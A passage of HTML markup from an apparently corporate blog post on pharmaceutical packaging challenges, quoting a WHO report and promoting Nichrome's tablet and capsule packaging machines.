Inappropriate packaging\ncan cause chemical alterations in the product affecting the product\u2019s curative\nability and effective performance. This is why the pharmaceutical industry is\nsubjected to rigid packaging standards and often faces a variety of challenges.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Challenges for Pharma Packaging<\/strong><\/h2>\n\n\n\n<p>Some of the challenges include:<\/p>\n\n\n\n<p><strong>Safe\ntransportation<\/strong>: While pills and capsules are easier to\nhandle, liquid medication and injections, especially with fragile glass\npacking, are more difficult.<\/p>\n\n\n\n<p><strong>Accurate dosage and drug information<\/strong>: To avoid confusion and over- or under-consumption, pharma packaging must contain the necessary dosage information as well as information regarding the drug&#8217;s composition, expiry date, and serial\/batch number to enable tracking and prevent misuse.<\/p>\n\n\n\n<p><strong>Protecting the medicinal quality<\/strong>: This is the most crucial challenge and requirement of pharma packaging. Exposure to heat and humidity can negatively impact the efficacy of pharma products. Packaging materials have to be carefully chosen so that the product&#8217;s healing capability is not impaired by external factors.<\/p>\n\n\n\n<p>Regarding quality of pharma products, a WHO technical report states that in the manufacture of pharmaceutical products, quality assurance is defined as \u201cthe totality of the arrangements made with the object of ensuring that pharmaceutical products are of the quality required for their intended use\u201d.<em>(https:\/\/www.who.int\/medicines\/areas\/quality_safety\/quality_assurance\/GuidelinesPackagingPharmaceuticalProductsTRS902Annex9.pdf)<\/em><\/p>\n\n\n\n<p>It must be emphasised that packaging preserves the stability and quality of medicinal products and protects them against all forms of spoilage and tampering. All medicinal products consequently need to be &#8216;packaged in containers that conform to prescribed standards,particularly with respect to the exclusion of moisture and light and the prevention of leaching of extractable substances into the contents and of chemical interaction with the contents.&#8217;<\/p>\n\n\n\n<p>The quality of the packaging of pharmaceutical products plays a very important role in the quality of such products. It must protect against all adverse external influences that can alter the properties of the product, e.g. moisture, light, oxygen and temperature variations. Pharma packaging must also protect against biological contamination and physical damage.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Considerations for Tablet\/Capsule\nPackaging<\/strong><\/h2>\n\n\n\n<p>Packaging of tablets\/capsules is the science, art and technology of enclosing and protecting a product for distribution, storage, sale and use.Packaging must serve these varied requirements:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Protection<\/li><li>Identification<\/li><li>Information<\/li><li>Storage<\/li><li>Convenience<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Nichrome\u2019s Tablet\/Capsule Packaging\nSolutions<\/strong><\/h2>\n\n\n\n<p>For tablet\/capsule packaging, Nichrome has\ntied up with reputable international majors to bring the latest, most\ncost-effective <strong><a href=\"https:\/\/www.nichrome.com\/applications\/pharmaceutical\/index.php#pharma\">pharma\npackaging machines<\/a><\/strong> and\nintegrated lines for India\u2019s pharmaceutical industry.
